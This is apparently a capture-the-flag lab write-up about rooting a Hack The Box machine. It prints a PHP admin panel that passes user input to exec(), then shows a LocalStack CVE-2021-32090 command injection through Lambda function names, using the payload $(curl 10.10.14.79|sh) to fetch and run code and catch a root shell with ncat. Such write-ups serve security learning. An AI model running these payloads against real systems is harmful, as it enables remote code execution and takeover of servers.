
maximus_supervisor@emit:/var/www/html/maximus-admin-panel$ cat dashboard.php
<?php
session_start();
if(isset($_SESSION['login'])){
    if($_SERVER['REQUEST_METHOD']=="POST"){
        $cmd = $_POST['cmd'];
    if($cmd){
        $list = ["create-function", "update-function-code", "list-functions"];
        $matchFound = false;
        foreach ($list as $item) {
            if (strpos($cmd, $item) !== false) {
                $matchFound = true;
                break;
            }
        }
        if($matchFound){
                $command = 'aws --endpoint http://localhost:4566 lambda ' . escapeshellarg($cmd);
            $commands = explode("'",$command);
            $commands[1] = trim($commands[1],"'");
            $command = implode($commands);
            $command = str_replace('\\',"'",$command);
                $output = array();
            if(strpos($command, "fileb") !== false){
                $pattern = '/fileb:\/\/([^ ]+)/i';
                $matches = [];
                preg_match_all($pattern, $command, $matches);
                if(file_exists("/var/www/html/maximus-admin-panel/uploads/" . $matches[1][0])){
                    $command = str_replace("fileb://","fileb:///var/www/html/maximus-admin-panel/uploads/",$command);
                    exec($command." 2>&1", $output);
                }
                else{
                    $msg = $matches[1][0]." doesn't exist";
                }
            }
            else{
                exec($command." 2>&1", $output);
            }
        }
        else{
            $err = "Feature is disabled till satellite launch";
        }
    }
    else{
        $target_dir = "uploads/";
        $target_file = $target_dir . basename($_FILES["file"]["name"]);
        $FileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
        if($FileType != "zip"){
            $msg = "Sorry only zip files are accepted";
        }
        else{
            if(move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)){
                $msg = "Payload function code uploaded";
            }
        }
    }
    }
?>

The database config file shows local MySQL credentials.

maximus_supervisor@emit:/var/www/html/maximus-admin-panel$ cat db.php
<?php
$servername = "localhost";
$username = "dbuser";
$password = "dbpass";
$db = "sms";

// Create connection
$conn = new mysqli($servername, $username, $password, $db);
?>

Identity

The local AWS endpoint resolves to the LocalStack moto user, confirming we are talking to LocalStack rather than real AWS.

maximus_supervisor@emit:/var/www/html/maximus-admin-panel$ aws --endpoint http://localhost:4566 sts get-caller-identity
{
    "UserId": "AKIAIOSFODNN7EXAMPLE",
    "Account": "000000000000",
    "Arn": "arn:aws:sts::000000000000:user/moto"
}

AWS Lambda LocalStack CVE-2021-32090 RCE

LocalStack is vulnerable to CVE-2021-32090, a command injection in the Lambda handler/function-name fields. When LocalStack processes a created Lambda, it passes attacker-controlled fields into a shell command running as root, giving root code execution.

References:

Create Example Lambda Function

First we build a minimal valid Lambda deployment package to confirm the create/invoke flow works.

cd /tmp
bash -c 'cat << "EOF" > example.js
exports.handler =  async function(event, context) {
  console.log("EVENT: \n" + JSON.stringify(event, null, 2))
  return context.logStreamName
}
EOF'
zip example.zip example.js
aws lambda create-function --function-name example --zip-file fileb://example.zip --role arn:aws:iam::123456789012:role/lambda-role --endpoint http://localhost:4566  --handler example.handler --runtime nodejs12.x
aws lambda invoke --function-name example --endpoint-url http://localhost:4566 out.json

Pspy

Monitoring processes with pspy reveals LocalStack running CLI commands as UID=0 and embedding the function name directly into the command line — exactly the sink CVE-2021-32090 abuses.

2023/07/17 16:48:51 CMD: UID=0     PID=49784  | /opt/code/localstack/.venv/bin/python /opt/code/localstack/.venv/bin/aws --endpoint-url=http://localhost:4566 lambda list-event-source-mappings --function-name example

RCE Lambda Function

We create a function whose name and handler contain a command-substitution payload ($(curl 10.10.14.79|sh)). When LocalStack processes the function as root, the injected command runs.

aws lambda create-function --function-name 'rce$(curl 10.10.14.79|sh)' --zip-file fileb://example.zip --role arn:aws:iam::123456789012:role/lambda-role --endpoint-url http://localhost:4566  --handler '$(curl 10.10.14.79|sh)' --runtime nodejs12.x
{
    "FunctionName": "rce$(curl 10.10.14.79|sh)",
    "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:rce$(curl 10.10.14.79|sh)",
    "Runtime": "nodejs12.x",
    "Role": "arn:aws:iam::123456789012:role/lambda-role",
    "Handler": "$(curl 10.10.14.79|sh)",
    "CodeSize": 295,
    "Description": "",
    "Timeout": 3,
    "LastModified": "2023-07-17T16:47:08.430+0000",
    "CodeSha256": "Kgo1bpwoy8e0gJDdNF50pEELqD00ItnsKYonXf45tM8=",
    "Version": "$LATEST",
    "VpcConfig": {},
    "TracingConfig": {
        "Mode": "PassThrough"
    },
    "RevisionId": "804e01a6-f18c-402c-a8ce-973f7dc35eec",
    "State": "Active",
    "LastUpdateStatus": "Successful",
    "PackageType": "Zip"
}

Invoking the function triggers LocalStack’s root-level processing of the malicious name/handler, firing the payload.

aws lambda invoke --function-name 'rce' --endpoint-url http://localhost:4566 out.json

Flag

The listener catches a root shell from LocalStack’s container, and the root flag is read from /root.

LISTEN 4444
IP: 10.10.14.79 (168431183
Ncat: Version 7.94 ( [https://nmap.org/ncat](https://nmap.org/ncat) )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.229.92:41486.
bash: cannot set terminal process group (-1): Not a tty
bash: no job control in this shell
bash-5.0# cat /root/flag*
cat /root/flag*
HTB{cl0ud_ch41ns_3m1t_p0w3r}
bash-5.0# cd /root
cd /root
bash-5.0# ls -la
ls -la
total 36
drwxr-xr-x    1 root     root          4096 Jul 17 13:52 .
drwxr-xr-x    1 root     root          4096 Jul 17 13:52 ..
drwx------    4 root     root          4096 Jul  4 09:46 .gnupg
drwxr-xr-x    3 root     root          4096 Jul  4 09:46 .local
drwxr-xr-x    2 root     root          4096 Jul  4 09:46 .npm
drwxrwxrwx    2 root     root          4096 Jul  4 09:46 .serverless
-rw-r--r--    1 root     root           282 Feb  1  2021 .serverlessrc
drwxr-xr-x    2 root     root          4096 Jul  4 09:46 .terraform.d
-rw-r--r--    1 root     root            29 Jul  4 06:35 flag.txt
bash-5.0# cat flag.txt
HTB{cl0ud_ch41ns_3m1t_p0w3r}

linpeas.sh

View linpeas.sh output